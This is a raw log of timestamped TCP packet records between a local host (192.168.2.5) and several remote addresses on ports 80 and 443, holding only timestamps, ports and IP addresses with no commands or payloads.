Nov 28, 2024 06:48:29.816796064 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.816910028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.817017078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.817069054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.820458889 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.822834015 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.822859049 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.823332071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.823430061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.823482990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.823523045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.829715014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.829775095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.829804897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.829873085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.830054998 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.830102921 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.830121994 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.836107969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.836173058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.836201906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.836241961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.838557959 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.838627100 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.838644028 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.842493057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.842583895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.842641115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.842689991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.848978996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.849060059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.849282980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.849626064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.851305962 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.851433992 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.851443052 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.855284929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.855366945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.855375051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.855412960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.856545925 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.856626987 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.856905937 CET	49768	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.857127905 CET	49768	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.857127905 CET	49768	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.857144117 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.857152939 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.861548901 CET	49806	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.861605883 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.861679077 CET	49806	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.861954927 CET	49806	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.861977100 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.864860058 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.864917994 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.864926100 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.878371954 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.878448963 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.878518105 CET	49771	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.878706932 CET	49771	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.878725052 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.878731012 CET	49771	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.878736973 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.879008055 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.879096031 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.879102945 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.881992102 CET	49807	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.882020950 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.882106066 CET	49807	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.882221937 CET	49807	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.882235050 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.892172098 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.892268896 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.892277002 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.906805038 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.907040119 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.907053947 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.918756008 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.918863058 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.918872118 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.930527925 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.930607080 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.930619955 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.935961962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.936037064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.936126947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.936239958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.938430071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.938488960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.938546896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.938901901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.943010092 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.943114996 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.943121910 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.943380117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.943447113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.943478107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.943526983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.948323965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.948451042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.948515892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.953288078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.953349113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.953380108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.953429937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.954361916 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.954619884 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.954638958 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.958029985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.958148956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.958161116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.958204985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.962762117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.962785959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.962811947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.962841034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.966273069 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.966342926 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.966351032 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.967379093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.967441082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.967619896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.967720032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.971858025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.972016096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.972016096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.972079992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.976157904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.976239920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.976304054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.976351023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.980580091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.980622053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.980638981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.980667114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.984824896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.984884024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.984921932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.984971046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.988814116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.988912106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.988941908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.988989115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.991261959 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.991372108 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.991384029 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.992866039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.992970943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.993046045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.995573044 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.995608091 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.995686054 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.995692968 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.995971918 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.996907949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.996973991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.997006893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.997056961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.000984907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.001079082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.001091957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.001147985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.003858089 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.005141020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.005203009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.005263090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.005306959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.005800009 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.006401062 CET	49781	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:30.006416082 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.006891012 CET	49781	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:30.006895065 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.008841991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.009059906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.009088993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.009109020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.012862921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.012972116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.012974024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.013181925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.016874075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.016948938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.016956091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.016995907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.017843008 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.017930984 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.017939091 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.020886898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.020945072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.020968914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.021018028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.023305893 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.023351908 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.023539066 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.023551941 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.023608923 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.024962902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.025029898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.025049925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.025073051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.028290987 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.028873920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.029016972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.029031992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.029061079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.032921076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.032989025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.033026934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.033081055 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.034673929 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.034749985 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.034773111 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.034784079 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.034895897 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.036906004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.036958933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.037015915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.037060022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.040945053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.041002989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.041007996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.041054010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.042485952 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.044943094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.045046091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.045069933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.045087099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.048952103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.049035072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.049074888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.049509048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.052983046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.053033113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.053045034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.053101063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.054394960 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.054485083 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.054492950 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.056965113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.057039976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.057094097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.057154894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.057389975 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.057421923 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.057485104 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.057492971 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.057568073 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.060949087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.061007023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.061084986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.061506987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.064971924 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.064977884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.065115929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.065131903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.065171003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.072479963 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.072549105 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.072557926 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.082003117 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.082101107 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.082110882 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.087806940 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.087888956 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.087898016 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.095165014 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.095242977 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.095249891 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.098839998 CET	443	49787	18.165.220.110	192.168.2.5
Nov 28, 2024 06:48:30.098937035 CET	443	49787	18.165.220.110	192.168.2.5
Nov 28, 2024 06:48:30.098937035 CET	49787	443	192.168.2.5	18.165.220.110
Nov 28, 2024 06:48:30.099009037 CET	49787	443	192.168.2.5	18.165.220.110
Nov 28, 2024 06:48:30.103099108 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.103157043 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.103166103 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.110307932 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.110366106 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.110368013 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.110377073 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.110435963 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.119658947 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.131695032 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.131757021 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.131767988 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.137264013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.137326002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.137398958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.137480021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.138746977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.138804913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.138813019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.138845921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.141607046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.141669035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.141705990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.141860008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.144645929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.144722939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.144803047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.145046949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.145103931 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.145160913 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.145162106 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.145174026 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.145226955 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.147439003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.147491932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.147552967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.147598028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.150255919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.150329113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.150388002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.153094053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.153142929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.153145075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.153187990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.155531883 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.155824900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.155889988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.156014919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.156066895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.156802893 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.156842947 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.156864882 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.156873941 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.156917095 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.158591032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.158646107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.158704996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.158754110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.159368992 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.161187887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.161273956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.161303043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.161353111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.163954020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.163969040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.164020061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.164058924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.166424036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.166482925 CET	49750	80	192.168.2.5	185.215.113.206
